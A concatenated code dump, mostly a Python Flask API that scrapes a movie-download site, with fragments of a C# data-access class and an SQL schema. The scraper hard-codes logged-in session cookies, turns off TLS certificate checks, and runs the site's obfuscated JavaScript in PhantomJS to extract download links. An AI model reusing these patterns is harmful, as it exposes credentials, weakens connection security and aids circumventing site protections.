var result = AreaContract.AddNewCountry(model);
if(result.ResultType==OperationResultType.Success)
return RedirectToAction("Index");
else
{
return View();
}
}
}
}
<file_sep>/Guadi.Common/UnitOfWorkContextBase.cs
using System;
using System.Collections.Generic;
using System.Data.Entity;
using System.Data.Entity.Infrastructure;
using System.Data.SqlClient;
using System.Linq;
using System.Linq.Expressions;
using System.Runtime.Remoting.Contexts;
using System.Text;
using Guadi.Common.Data.Extensions;
using Guadi.Common.Tools;
namespace Guadi.Common.Data
{
/// <summary>
/// 单元操作实现基类
/// </summary>
public abstract class UnitOfWorkContextBase:IUnitOfWorkContext
{
/// <summary>
/// 获取 当前使用的数据访问上下文对象
/// </summary>
protected abstract DbContext Context { get; }
/// <summary>
/// 获取 当前单元操作是否已被提交
/// </summary>
public bool IsCommitted { get; private set; }
/// <summary>
/// 数据库上下文对象(对外)
/// </summary>
public DbContext DbContext {
get { return Context; }
}
/// <summary>
/// 提交当前单元操作的结果
/// </summary>
/// <param name="validateOnSaveEnabled">保存时是否自动验证跟踪实体</param>
/// <returns></returns>
public int Commit(bool validateOnSaveEnabled=true)
{
if (IsCommitted)
return 0;
try
{
int result = Context.SaveChanges(validateOnSaveEnabled);
IsCommitted = true;
return result;
}
catch (DbUpdateException ex)
{
if (ex.InnerException != null && ex.InnerException.InnerException is SqlException)
{
SqlException sqlEx = ex.InnerException.InnerException as SqlException;
string msg = DataHelper.GetSqlExceptionMessage(sqlEx.Number);
throw PublicHelper.ThrowDataAccessException("提交数据更新时发生异常:" + msg, sqlEx);
}
throw;
}
}
/// <summary>
/// 把当前单元操作回滚成未提交状态
/// </summary>
public void Rollback()
{
IsCommitted = false;
}
public void Dispose()
{
if (!IsCommitted)
{
Commit();
}
Context.Dispose();
}
/// <summary>
/// 为指定的类型返回 System.Data.Entity.DbSet,这将允许对上下文中的给定实体执行 CRUD 操作。
/// </summary>
/// <typeparam name="TEntity">应为其返回一个集的实体类型</typeparam>
/// <typeparam name="TKey">实体主键类型</typeparam>
/// <returns>给定实体类型的 System.Data.Entity.DbSet 实例</returns>
public DbSet<TEntity> Set<TEntity,TKey>() where TEntity : DataBase<TKey>
{
return Context.Set<TEntity>();
}
/// <summary>
/// 注册一个新的对象到仓储上下文中
/// </summary>
/// <typeparam name="TEntity">要注册的类型</typeparam>
/// <typeparam name="TKey">实体主键类型</typeparam>
/// <param name="entity">要注册的对象</param>
public void RegisterNew<TEntity,TKey>(TEntity entity) where TEntity : DataBase<TKey>
{
EntityState state = Context.Entry(entity).State;
if (state == EntityState.Detached)
{
Context.Entry(entity).State=EntityState.Added;
}
IsCommitted = false;
}
/// <summary>
/// 批量注册多个新的对象到仓储上下文中
/// </summary>
/// <typeparam name="TEntity">要注册的类型</typeparam>
/// <typeparam name="TKey"></typeparam>
/// <param name="entities">要注册的对象集合</param>
public void RegisterNew<TEntity,TKey>(IEnumerable<TEntity> entities) where TEntity : DataBase<TKey>
{
try
{
Context.Configuration.AutoDetectChangesEnabled = false; //关闭自动更新
foreach (var entity in entities)
{
RegisterNew<TEntity,TKey>(entity);
}
}
finally
{
Context.Configuration.AutoDetectChangesEnabled = true;
}
}
/// <summary>
/// 注册一个更改的对象到仓储上下文中
/// </summary>
/// <typeparam name="TEntity">要注册的类型</typeparam>
/// <typeparam name="TKey"></typeparam>
/// <param name="entity">要注册的对象</param>
public void RegisterModified<TEntity,TKey>(TEntity entity) where TEntity : DataBase<TKey>
{
Context.Update<TEntity,TKey>(entity);
IsCommitted = false;
}
/// <summary>
/// 使用指定的属性表达式指定注册更改的对象到仓储上下文中
/// </summary>
/// <typeparam name="TEntity">要注册的类型</typeparam>
/// <typeparam name="TKey"></typeparam>
/// <param name="propertyExpression">属性表达式,包含要更新的实体属性</param>
/// <param name="entity">附带新值的实体信息,必须包含主键</param>
public void RegisterModified<TEntity, TKey>(Expression<Func<TEntity, object>> propertyExpression, TEntity entity)
where TEntity : DataBase<TKey>
{
Context.Update<TEntity,TKey>(propertyExpression,entity);
IsCommitted = false;
}
/// <summary>
/// 注册一个删除的对象到仓储上下文中
/// </summary>
/// <typeparam name="TEntity">要注册的类型</typeparam>
/// <typeparam name="TKey"></typeparam>
/// <param name="entity">要注册的对象</param>
public void RegisterDeleted<TEntity, TKey>(TEntity entity) where TEntity : DataBase<TKey>
{
Context.Entry(entity).State = EntityState.Deleted;
IsCommitted = false;
}
/// <summary>
/// 批量注册多个删除的对象到仓储上下文中
/// </summary>
/// <typeparam name="TEntity">要注册的对象</typeparam>
/// <typeparam name="TKey"></typeparam>
/// <param name="entities">要注册的对象集合</param>
public void RegisterDeleted<TEntity,TKey>(IEnumerable<TEntity> entities) where TEntity : DataBase<TKey>
{
try
{
Context.Configuration.AutoDetectChangesEnabled = false;
foreach (var entity in entities)
{
RegisterDeleted<TEntity,TKey>(entity);
}
}
finally
{
Context.Configuration.AutoDetectChangesEnabled = true;
}
}
}
}
| 565d1ce8b25bad8d9d27a9eae60d7014ccc314a1 | [
"C#"
] | 28 | C# | skykrf/Guadi.ALL | 81768563852459cf4310d6970d2e1da135a1a9f0 | a47c75edc0e2d86df5bce978204fb45fdbe340ea | |
refs/heads/master | <repo_name>Sai628/moviejie-api<file_sep>/etc/gunicorn_conf.py
# Gunicorn configuration file.
# http://docs.gunicorn.org/en/0.16.0/configure.html
import multiprocessing
bind = '127.0.0.1:5001'
backlog = 2048 # The maximum number of pending connections
workers = multiprocessing.cpu_count() * 2 + 1
worker_connections = 10240 # The maximum number of simultaneous clients. This setting only affects the Eventlet and Gevent worker types.
max_requests = 10240 # The maximum number of requests a worker will process before restarting.
keepalive = 2 # The number of seconds to wait for requests on a Keep-Alive connection
secure_scheme_headers = {
'X-SCHEME': 'https',
}
x_forwarded_for_header = 'X-FORWARDED-FOR'
loglevel = 'info'
accesslog = '/var/log/moviejie-api/gunicorn_stdout.log'
errorlog = '/var/log/moviejie-api/gunicorn_stdout.log'
reload = True # Restart workers when code changes
<file_sep>/controllers/index.py
# coding=utf-8
from flask_restful import Resource
from app import cache
from util.helper import *
from config import config
from model import ResourceInfo, NewInfo, HotInfo
class Index(Resource):
@cache.memoize(timeout=config.CACHE_EXPIRE_TIME)
def get(self):
index_soup = get_html_soup(config.API_INDEX)
# 解析更新资源
new_info_div = index_soup.find('div', class_='link_list')
new_cat_titles = [tag.text for tag in new_info_div.find_all('h4')]
new_infos = []
tbody_tags = [tag for tag in new_info_div.find_all('tbody')[:len(new_cat_titles)]]
for index, tbody_tag in enumerate(tbody_tags):
resources = []
for tr in tbody_tag.find_all('tr'):
# 获取资源(电影/电视剧)的标题
title = tr.find('span', class_='restitle').text.strip()
title = title.replace('【电影】', '').strip()
title_a_tag = tr.find('span', class_='restitle').a
if title_a_tag is not None:
title_a_text = title_a_tag.text.strip()
title = title.replace(title_a_text, '').strip()
# 获取资源的大小
size = tr.find('td', class_='size').text
# 获取资源的下载链接页面地址
link_tag = tr.find('td', class_='link').a
if link_tag is not None:
link = link_tag['href']
# 获取资源的合集页面地址
movie_link_tag = tr.find('span', class_='restitle').a
movie_link = movie_link_tag['href'] if movie_link_tag is not None else ''
resource_info = ResourceInfo(title=title, movie_link=movie_link, link=link, size=size)
resources.append(resource_info.info())
new_info = NewInfo(category=new_cat_titles[index], resources=resources)
new_infos.append(new_info.info())
# 解析热门/最新资源
hot_info_divs = index_soup.find_all('div', class_='movie_list')
hot_infos = []
for div in hot_info_divs:
resources = []
for li in div.find_all('li'):
title_a_tag = li.find('div', class_='infos').a
title = title_a_tag.text.strip() # 获取资源标题
movie_link = title_a_tag['href'] # 获取资源链接
# 获取资源评分
rating_tag = li.find('span', class_='star')
rating = rating_tag.text if rating_tag is not None else ""
resource_info = ResourceInfo(title=title, movie_link=movie_link, rating=rating)
resources.append(resource_info.info())
hot_cat_title = div.find('h4').text
hot_info = HotInfo(category=hot_cat_title, resources=resources)
hot_infos.append(hot_info.info())
return success({
"news": new_infos,
"hots": hot_infos
})
def __repr__(self):
return "%s" % self.__class__.__name__
<file_sep>/model/MovieInfo.py
# coding=utf-8
from util.common import DictObj
class MovieInfo:
"""
电影/电视剧信息model. 对应URL: /movie/<movie_id>/ 页面中的数据结构
"""
def __init__(self, title=None, banner=None, directors=None, writers=None, stars=None, genres=None,
country=None, release_date=None, runtime=None, akaname=None, star=None, story=None,
episode_filters=None, links=None, related_resources=None, recommended_resources=None):
self.title = title # 标题
self.banner = banner # 封面图URL
self.directors = directors # 导演
self.writers = writers # 编剧
self.stars = stars # 主演
self.genres = genres # 类型
self.country = country # 国家/地区
self.release_date = release_date # 上映日期
self.runtime = runtime # 片长
self.akaname = akaname # 又名
self.star = star # 评分
self.story = story # 剧情简介
self.episode_filters = episode_filters # 分集查看过滤列表
self.links = links # 下载页面链接列表
self.related_resources = related_resources # 相关资源列表
self.recommended_resources = recommended_resources # 推荐资源列表
def info(self):
return DictObj({
"title": self.title,
"banner": self.banner,
"directors": self.directors,
"writers": self.writers,
"stars": self.stars,
"genres": self.genres,
"country": self.country,
"release_date": self.release_date,
"runtime": self.runtime,
"akaname": self.akaname,
"star": self.star,
"story": self.story,
"episode_filters": self.episode_filters,
"links": self.links,
"related_resources": self.related_resources,
"recommended_resources": self.recommended_resources,
})
<file_sep>/util/common.py
# coding=utf-8
class DictObj(dict):
"""A dict that allows for object-like property access syntax."""
def __init__(self, *args, **kwargs):
super(DictObj, self).__init__(*args, **kwargs)
for k, v in args[0].items():
if type(v) == dict:
self[k] = DictObj(v)
elif type(v) == list:
self[k] = [DictObj(value) if type(value) == dict else value for value in v]
def __getattr__(self, key):
try:
return self[key]
except KeyError:
return None
def __setattr__(self, key, value):
self[key] = value
def get_string(content, default_value=""):
if content is None:
return default_value
return content
def not_none_number(content, default_value=0):
if content is None:
return default_value
return content
<file_sep>/model/HotInfo.py
# coding=utf-8
from util.common import DictObj
class HotInfo:
"""
热门信息model. 对应于首页中的热门剧集/电影
"""
def __init__(self, category, resources):
self.category = category
self.resources = resources
def info(self):
return DictObj({
"category": self.category,
"resources": self.resources,
})
<file_sep>/model/MovieSimpleInfo.py
# coding=utf-8
from util.common import DictObj
class MovieSimpleInfo:
"""
电影/电视剧简略信息model. 对应URL: /new/movie/ 与 /new/tv/ 页面中的数据结构
"""
def __init__(self, title=None, movie_link=None, banner=None, genres=None, country=None, star=None):
self.title = title # 标题
self.movie_link = movie_link # 电影详情页面链接
self.banner = banner # 封面图URL
self.genres = genres # 类型
self.country = country # 国家/地区
self.star = star # 评分
def info(self):
return DictObj({
"title": self.title,
"movie_link": self.movie_link,
"banner": self.banner,
"genres": self.genres,
"country": self.country,
"star": self.star,
})
<file_sep>/controllers/movie.py
# coding=utf-8
from flask_restful import Resource
from app import cache
from config import config
from model import MovieInfo, LinkInfo, ResourceInfo
from util.helper import *
class Movie(Resource):
@cache.memoize(timeout=config.CACHE_EXPIRE_TIME)
def get(self, movie_id):
movie_soup = get_html_soup('%s/movie/%s' % (config.API_DOMAIN, movie_id))
# "电影/电视剧"标题
title_div = movie_soup.find('div', id='movie_title')
if title_div is None: # 当不存在标题项时, 表示无法查看电影的详情页(很可能是因为用户权限问题). 这里直接返回None
return success({"movie": None})
title = movie_soup.find('div', id='movie_title').text.strip()
# 基本信息字段
infos_div = movie_soup.find('div', id='movie_info')
banner = infos_div.find('img')['src']
directors = get_p_text(infos_div, 'directors')
writers = get_p_text(infos_div, 'writers')
stars = get_p_text(infos_div, 'stars')
genres = get_p_text(infos_div, 'genres')
country = get_p_text(infos_div, 'country')
release_date = get_p_text(infos_div, 'release_date')
runtime = get_p_text(infos_div, 'runtime')
akaname = get_p_text(infos_div, 'akaname')
star = get_p_text(infos_div, 'star')
# 分集查看过滤列表
filters_div = movie_soup.find('div', id='episode_filter')
episode_filters = [{'episode': li_tag.a['data-ep'], 'text': li_tag.text.strip()}
for li_tag in filters_div.find_all('li')] if filters_div is not None else []
# 下载链接信息列表
link_infos = []
for tr in movie_soup.find('tbody').find_all('tr'):
episode = tr['data-episode']
name_tag = tr.find('td', class_='movie_name')
if name_tag is None:
continue
td_tags = tr.find_all('td')
name = td_tags[0].text.strip()
size = td_tags[1].text.strip()
dimen = td_tags[2].text.strip()
format = td_tags[3].text.strip()
link = td_tags[4].a['href'] if td_tags[4].a is not None else ''
link_info = LinkInfo(name=name, size=size, dimen=dimen, format=format, link=link, episode=episode)
link_infos.append(link_info.info())
# 相关影视/猜你喜欢列表
related_resources = []
recommended_resources = []
for movie_rel_div in movie_soup.find_all('div', class_='movie_rel'):
ul_tag = movie_rel_div.find('ul', id='related_movies')
if ul_tag is None:
continue
li_tags = ul_tag.find_all('li')
if li_tags is None or len(li_tags) <= 0:
continue
rel_resources = []
for li in li_tags:
resource_title = li.text
resouces_movie_link = li.a['href'] if li.a is not None else ''
resouces_info = ResourceInfo(title=resource_title, movie_link=resouces_movie_link)
rel_resources.append(resouces_info.info())
rel_cat_title = movie_rel_div.find('h2').text
if rel_cat_title == '相关影视':
related_resources = rel_resources
elif rel_cat_title == '猜你喜欢':
recommended_resources = rel_resources
# 剧情简介
story_tag = movie_soup.find('p', id='movie_info')
story = story_tag.text.strip('\n').strip() if story_tag is not None else ''
story = '\n'.join([line.strip('\n').strip() for line in story.split('\n')])
movie_info = MovieInfo(title=title, banner=banner, directors=directors, writers=writers, stars=stars,
genres=genres, country=country, release_date=release_date, runtime=runtime,
akaname=akaname, star=star, story=story,
episode_filters=episode_filters, links=link_infos,
related_resources=related_resources, recommended_resources=recommended_resources)
return success({
"movie": movie_info.info()
})
def __repr__(self):
return "%s" % self.__class__.__name__
<file_sep>/util/const.py
# coding=utf-8
STATUS_SUCCESS = 1
STATUS_FAIL = 0
<file_sep>/controllers/search.py
# coding=utf-8
from flask_restful import Resource
from app import cache
from config import config
from model import MovieSimpleInfo
from util.helper import *
class Search(Resource):
@cache.memoize(timeout=config.CACHE_EXPIRE_TIME)
def get(self, keyword, page):
movies = get_movie_simple_infos('%s/%s/%s' % (config.API_SEARCH, keyword, page))
return success({
"movies": movies
})
def __repr__(self):
return "%s" % self.__class__.__name__
def get_movie_simple_infos(url):
movie_soup = get_html_soup(url)
search_result_div = movie_soup.find('div', id='search_result')
ul_tag = search_result_div.find('ul')
movie_simple_infos = []
for li_tag in ul_tag.find_all('li'):
# 标题
title_tag = li_tag.find('a', class_='name')
title = title_tag.text.strip() if title_tag is not None else ''
movie_link = title_tag['href'] if title_tag is not None else ''
# 封面图片
banner_img_tag = li_tag.find('img', class_='banner')
banner = banner_img_tag['src'] if banner_img_tag is not None else ''
genres = get_span_text(li_tag, 'genres') # 类型
country = get_span_text(li_tag, 'country') # 国家/地区
star = get_span_text(li_tag, 'star') # 评分
movie_simple_info = MovieSimpleInfo(title=title, movie_link=movie_link, banner=banner, genres=genres,
country=country, star=star)
movie_simple_infos.append(movie_simple_info.info())
return movie_simple_infos
<file_sep>/deploy.sh
#!/bin/bash
set -e
cp ./etc/supervisor/moviejie_api.conf /etc/supervisor/conf.d/moviejie_api.conf
supervisord -c /etc/supervisor/supervisord.conf
<file_sep>/model/LinkInfo.py
# coding=utf-8
from util.common import DictObj
class LinkInfo:
"""
下载链接信息model. 对应URL: /movie/<movie_id>/ 页面中下载链接列表每项的数据结构
"""
def __init__(self, name=None, size=None, dimen=None, format=None, link=None, episode=None):
self.name = name
self.size = size
self.dimen = dimen
self.format = format
self.link = link
self.episode = episode
def info(self):
return DictObj({
"name": self.name,
"size": self.size,
"dimen": self.dimen,
"format": self.format,
"link": self.link,
"episode": self.episode
})
<file_sep>/util/helper.py
# coding=utf-8
from __future__ import print_function
import json
import os
from bs4 import BeautifulSoup
import requests
import requests.packages.urllib3
from config import config
from util import const
from util import log
requests.packages.urllib3.disable_warnings()
def get_html(url):
try:
response = requests.get(url, verify=False, headers=config.SIMULATE_HEADERS, cookies=config.LOGIN_COOKIES)
return response.text
except Exception as e:
print_error("Error: %s\n get_url_content -- %s" % (e, url))
return None
def get_html_soup(url):
html = get_html(url)
return get_soup(html)
def get_soup(html):
return BeautifulSoup(html, "lxml")
def send_request(url, json_data):
try:
headers = {"Content-Type": "application/json; charset=utf-8"}
response = requests.post(url=url, json=json_data, headers=headers, verify=False)
return response.text
except Exception as e:
print_error("Error: %s\nsend_post_requestion -- %s" % (e, url))
return None
def save_content_to_file(file_path, content):
f = open(file_path, 'a')
f.write(content)
f.close()
def remove_file(file_path):
if os.path.exists(file_path):
os.remove(file_path)
def print_error(text):
print('\033[0;31;40m%s' % text)
def json_dumps(content):
return json.dumps(content, ensure_ascii=False)
def success(info=None, max_log_len=2000):
if info is None:
info = {}
info["status"] = const.STATUS_SUCCESS
response_body = json_dumps(info)
log.debug("response:%s", response_body[0:max_log_len])
return json.loads(response_body)
def fail(info=None, max_log_len=2000):
if info is None:
info = {}
info["status"] = const.STATUS_FAIL
response_body = json_dumps(info)
log.debug("response:%s", response_body[0:max_log_len])
return json.loads(response_body)
def get_p_text(tag, class_name):
return get_tag_child_text(tag, child_tag_name='p', class_name=class_name)
def get_span_text(tag, class_name):
return get_tag_child_text(tag, child_tag_name='span', class_name=class_name)
def get_tag_child_text(tag, child_tag_name, class_name):
child_tag = tag.find(child_tag_name, class_=class_name)
if child_tag is not None:
text_list = child_tag.text.split(':')[1:]
return ''.join(text_list).strip()
return ''
<file_sep>/controllers/new.py
# coding=utf-8
from flask_restful import Resource
from app import cache
from config import config
from model import OSTSimpleInfo
from util.helper import *
from .search import *
class NewMovie(Resource):
@cache.memoize(timeout=config.CACHE_EXPIRE_TIME)
def get(self, page):
movies = get_movie_simple_infos('%s/%s' % (config.API_NEW_MOVIE, page))
return success({
"movies": movies
})
def __repr__(self):
return "%s" % self.__class__.__name__
class NewTv(Resource):
@cache.memoize(timeout=config.CACHE_EXPIRE_TIME)
def get(self, page):
movies = get_movie_simple_infos('%s/%s' % (config.API_NEW_TV, page))
return success({
"movies": movies
})
def __repr__(self):
return "%s" % self.__class__.__name__
class NewOST(Resource):
@cache.memoize(timeout=config.CACHE_EXPIRE_TIME)
def get(self, page):
ost_soup = get_html_soup('%s/%s' % (config.API_NEW_OST, page))
search_result_div = ost_soup.find('div', id='search_result')
ul_tag = search_result_div.find('ul')
ost_simple_infos = []
for li_tag in ul_tag.find_all('li'):
# 标题
title_tag = li_tag.find('p', class_='movie_name')
movie_name = title_tag.text.strip() if title_tag is not None else ''
# 原声大碟详情页面链接
ost_link = title_tag.a['href'] if title_tag.a is not None else ''
# 封面图片
banner_img_tag = li_tag.find('img', class_='banner')
banner = banner_img_tag['src'] if banner_img_tag is not None else ''
res_name = get_p_text(li_tag, 'res_name') # 资源名称
res_size = get_p_text(li_tag, 'res_size') # 资源大小
country = get_span_text(li_tag, 'country') # 地区/语言
publish_time = get_span_text(li_tag, 'time') # 发行时间
file_type = get_span_text(li_tag, 'filetype') # 资源格式
ost_simple_info = OSTSimpleInfo(movie_name=movie_name, ost_link=ost_link, banner=banner,
res_name=res_name, res_size=res_size, country=country,
publish_time=publish_time, file_type=file_type)
ost_simple_infos.append(ost_simple_info.info())
return success({
"ost_infos": ost_simple_infos
})
def __repr__(self):
return "%s" % self.__class__.__name__
<file_sep>/model/ResourceInfo.py
# coding=utf-8
from util.common import DictObj
class ResourceInfo:
"""
资源信息model. 对应于首页的"更新/热门"资源数据结构
"""
def __init__(self, title, movie_link="", link="", size="", rating=""):
self.title = title
self.movie_link = movie_link
self.link = link
self.size = size
self.rating = rating
def info(self):
return DictObj({
"title": self.title,
"movie_link": self.movie_link,
"link": self.link,
"size": self.size,
"rating": self.rating,
})
<file_sep>/model/OSTSimpleInfo.py
# coding=utf-8
from util.common import DictObj
class OSTSimpleInfo:
"""
原声大碟简略信息model. 对应URL: /new/ost/ 页面中的数据结构
"""
def __init__(self, movie_name=None, ost_link=None, banner=None, res_name=None,
res_size=None, country=None, publish_time=None, file_type=None):
self.movie_name = movie_name # 电影名称
self.ost_link = ost_link # 原声大碟详情页面链接
self.banner = banner # 封面图URL
self.res_name = res_name # 资源名称
self.res_size = res_size # 资源大小
self.country = country # 地区/语言
self.publish_time = publish_time # 发行时间
self.file_type = file_type # 资源格式
def info(self):
return DictObj({
"movie_name": self.movie_name,
"ost_link": self.ost_link,
"banner": self.banner,
"res_name": self.res_name,
"res_size": self.res_size,
"country": self.country,
"publish_time": self.publish_time,
"file_type": self.file_type,
})
<file_sep>/model/LinkDetailInfo.py
# coding=utf-8
from util.common import DictObj
class LinkDetailInfo:
"""
下载链接详情信息model. 对应URL: /link/<link_id>/ 页面中的数据结构
"""
def __init__(self, movie_title=None, movie_link=None, name=None, size=None, download_link=None):
self.movie_title = movie_title
self.movie_link = movie_link
self.name = name
self.size = size
self.download_link = download_link
def info(self):
return DictObj({
"movie_title": self.movie_title,
"movie_link": self.movie_link,
"name": self.name,
"size": self.size,
"download_link": self.download_link
})
<file_sep>/controllers/link.py
# coding=utf-8
import time
from flask_restful import Resource
from app import cache
from config import config
from model import LinkDetailInfo
from selenium import webdriver
from util.helper import *
class Link(Resource):
@cache.memoize(timeout=config.CACHE_EXPIRE_TIME)
def get(self, link_id):
link_soup = get_html_soup('%s/link/%s' % (config.API_DOMAIN, link_id))
# 电影页面链接
movie_title = ''
movie_link = ''
movie_back_div = link_soup.find('div', class_='movie_back')
if movie_back_div is not None:
movie_back_a_tag = movie_back_div.a
if movie_back_a_tag is not None:
movie_title = movie_back_a_tag.text.strip()
movie_link = movie_back_a_tag['href']
# 下载资源名称
link_info_div = link_soup.find('div', class_='link_info')
p_tags = link_info_div.find_all('p')
name = p_tags[0].text.split(':')[1].strip()
size = p_tags[1].text.split(':')[1].strip()
# 下载链接地址
link_parsed_html = ''
for script_tag in link_soup.find_all('script'):
if '~[]' in script_tag.text: # 包括 "~[]" 字符的 javascript 代码, 为生成下载链接的代码
get_link_html = '<span id="link_text_span"></span>' + \
'<script type="text/javascript">' + script_tag.text + '</script>'
temp_file_path = '%s-%.9f.html' % (link_id, time.time())
save_content_to_file(temp_file_path, get_link_html)
driver = webdriver.PhantomJS()
driver.get(temp_file_path)
link_parsed_html = driver.page_source
driver.close()
remove_file(temp_file_path)
link_parsed_soup = get_soup(link_parsed_html)
link_tag = link_parsed_soup.find('span', id='link_text_span')
download_link = link_tag.text.strip() if link_tag is not None else ''
link_detail_info = LinkDetailInfo(movie_title=movie_title, movie_link=movie_link, name=name, size=size,
download_link=download_link)
return success({
"link_detail": link_detail_info.info()
})
def __repr__(self):
return "%s" % self.__class__.__name__
<file_sep>/controllers/__init__.py
# coding=utf-8
from .index import Index
from .movie import Movie
from .link import Link
from .new import NewMovie, NewTv, NewOST
from .ost import OST
from .search import Search
__all__ = [
Index,
Movie,
Link,
NewMovie,
NewTv,
NewOST,
OST,
Search,
]
<file_sep>/config/config.py
# coding=utf-8
# 缓存到期时间(单位:秒)
CACHE_EXPIRE_TIME = 1800
# API地址
API_DOMAIN = 'http://moviejie.xyz'
API_INDEX = API_DOMAIN # 首页地址
API_NEW_MOVIE = API_DOMAIN + "/new/movie" # 最新电影地址
API_NEW_TV = API_DOMAIN + "/new/tv" # 最新电视剧地址
API_NEW_OST = API_DOMAIN + "/new/ost" # 原声大碟地址
API_NEW_ARTICLE = API_DOMAIN + "/new/article" # 影评地址
API_SEARCH = API_DOMAIN + "/search" # 搜索地址
# 模拟的Headers
SIMULATE_HEADERS = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',
}
# 模拟已登录用户对应的Cookies
LOGIN_COOKIES = {
'Hm_lvt_85abf7488e97713e5a0e152b2ab2316d': '1554270698',
'user_nickname': '"2|1:0|10:1565254859|13:user_nickname|8:U2FpNjI4|5dada89845c0bf66ec67d06460bc981d4ba94db6a6d3e7a655968e9505c8fc83"',
'user_slug': '"2|1:0|10:1565254859|9:user_slug|8:YzI3Yzc0|728464ad8897b87d0f1bd749a2a964605574747d6203978b233f483502f59723"',
'_xsrf': '2|7fb418cd|c2bdacef396cf02f40f5354bea1e59d9|1564287607',
}
<file_sep>/model/__init__.py
# coding=utf-8
from .HotInfo import HotInfo
from .LinkInfo import LinkInfo
from .LinkDetailInfo import LinkDetailInfo
from .MovieInfo import MovieInfo
from .MovieSimpleInfo import MovieSimpleInfo
from .NewInfo import NewInfo
from .OSTInfo import OSTInfo
from .OSTSimpleInfo import OSTSimpleInfo
from .ResourceInfo import ResourceInfo
__all__ = [
HotInfo,
LinkInfo,
LinkDetailInfo,
MovieInfo,
MovieSimpleInfo,
NewInfo,
OSTInfo,
OSTSimpleInfo,
ResourceInfo,
]
<file_sep>/model/OSTInfo.py
# coding=utf-8
from util.common import DictObj
class OSTInfo:
"""
原声大碟信息model. 对应URL: /ost/<ost_id>/ 页面中的数据结构
"""
def __init__(self, movie_name=None, movie_link=None, banner=None, res_name=None, country=None,
language=None, publish_time=None, file_type=None, track_list=None, links=None):
self.movie_name = movie_name # 电影名称
self.movie_link = movie_link # 电影详情页面链接
self.banner = banner # 封面图URL
self.res_name = res_name # 资源名称
self.country = country # 地区
self.language = language # 语言
self.publish_time = publish_time # 发行时间
self.file_type = file_type # 资源格式
self.track_list = track_list # 专辑曲目列表. 数据类型: [string]
self.links = links # 下载页面链接列表
def info(self):
return DictObj({
"movie_name": self.movie_name,
"movie_link": self.movie_link,
"banner": self.banner,
"res_name": self.res_name,
"country": self.country,
"language": self.language,
"publish_time": self.publish_time,
"file_type": self.file_type,
"track_list": self.track_list,
"links": self.links,
})
<file_sep>/web.py
# coding=utf-8
from app import app
if __name__ == '__main__':
app.run(host='localhost', port=5001, debug=True)
<file_sep>/app/__init__.py
# coding=utf-8
# import sys
from flask import Flask
from flask_cache import Cache
import flask_restful as restful
# 解决输出中文报错 UnicodeEncodeError 的问题
# reload(sys)
# sys.setdefaultencoding('utf-8')
app = Flask(__name__)
api = restful.Api(app)
cache = Cache(app, config={'CACHE_TYPE': 'simple'})
import controllers
api.add_resource(controllers.Index, '/')
api.add_resource(controllers.Movie, '/movie/<string:movie_id>/')
api.add_resource(controllers.Link, '/link/<string:link_id>/')
api.add_resource(controllers.OST, '/ost/<string:ost_id>/')
api.add_resource(controllers.NewMovie, '/new/movie/<string:page>/')
api.add_resource(controllers.NewTv, '/new/tv/<string:page>/')
api.add_resource(controllers.NewOST, '/new/ost/<string:page>/')
api.add_resource(controllers.Search, '/search/<string:keyword>/<string:page>/')
<file_sep>/requirements.txt
aniso8601==1.2.1
appdirs==1.4.3
beautifulsoup4==4.6.0
certifi==2018.10.15
chardet==3.0.4
click==6.7
Flask==1.0.0
Flask-Cache==0.13.1
Flask-RESTful==0.3.5
gunicorn==19.8.1
idna==2.7
itsdangerous==0.24
Jinja2==2.10.1
lxml==3.7.3
MarkupSafe==1.0
packaging==16.8
pyparsing==2.2.0
python-dateutil==2.6.0
pytz==2017.2
requests==2.20.0
selenium==3.6.0
six==1.10.0
urllib3==1.24.2
werkzeug==0.15.3
<file_sep>/util/log.py
# coding=utf-8
from app import app
debug = app.logger.debug
info = app.logger.info
warning = app.logger.warning
error = app.logger.error
<file_sep>/controllers/ost.py
# coding=utf-8
from flask_restful import Resource
from app import cache
from config import config
from model import OSTInfo, LinkInfo
from util.helper import *
class OST(Resource):
@cache.memoize(timeout=config.CACHE_EXPIRE_TIME)
def get(self, ost_id):
ost_soup = get_html_soup('%s/ost/%s' % (config.API_DOMAIN, ost_id))
# "电影/电视剧"标题
title_div = ost_soup.find('div', id='ost_title')
if title_div is not None:
movie_name = title_div.a.text.strip() if title_div.a is not None else ''
movie_link = title_div.a['href'] if title_div.a is not None else ''
# 基本信息字段
banner = ost_soup.find('img', class_='ost_cover')['src']
res_name = get_tag_child_text(tag=ost_soup, child_tag_name='h2', class_name='res_title')
country = get_span_text(ost_soup, 'country')
language = get_span_text(ost_soup, 'language')
publish_time = get_span_text(ost_soup, 'time')
file_type = get_span_text(ost_soup, 'filetype')
# 专辑曲目列表
track_list = []
track_tag = ost_soup.find('p', class_='inner_content')
if track_tag is not None:
# 去除曲目 html 中的 "<!--Wrap-head end-->" 与 "<!--Wrap-tail begin-->" 字符, 以及 "<br>" 标签
tracks = filter(lambda x: x not in ['\n', 'Wrap-tail begin', 'Wrap-head end'] and str(x) != '<br/>',
track_tag.contents)
track_list = ["".join(str(track).split('.')[1:]).strip() for track in tracks] # 去除曲目前面的序号
# 专辑曲目下载链接信息列表
link_infos = []
for tr in ost_soup.find('table').find_all('tr'):
name_tag = tr.find('td', class_='movie_name')
if name_tag is None:
continue
td_tags = tr.find_all('td')
name = td_tags[0].text.strip()
size = td_tags[1].text.strip()
link = td_tags[2].a['href'] if td_tags[2].a is not None else ''
link_info = LinkInfo(name=name, size=size, link=link)
link_infos.append(link_info.info())
ost_info = OSTInfo(movie_name=movie_name, movie_link=movie_link, banner=banner, res_name=res_name,
country=country, language=language, publish_time=publish_time, file_type=file_type,
track_list=track_list, links=link_infos)
return success({
"ost": ost_info.info()
})
def __repr__(self):
return "%s" % self.__class__.__name__
| bfe2e343c79c85ad22440607eae548e81e687e3d | [
"Python",
"Text",
"Shell"
] | 26 | Python | Sai628/moviejie-api | 2392826a6b5d14eeb41773f5987e77215daed820 | d73b128921799954d12b8e0180d1c4ef17c4e7d6 | |
refs/heads/main | <file_sep>SQL_USERNAME = "postgres"
SQL_PASSWORD = "<PASSWORD>"
SQL_IP = "127.0.0.1"
PORT = 5432
DATABASE = "news_db"<file_sep>DROP TABLE IF EXISTS headlines;
DROP TABLE IF EXISTS category;
DROP TABLE IF EXISTS sources;
CREATE TABLE "category" (
"category_id" serial NOT NULL,
"category_name" VARCHAR (100) NOT NULL,
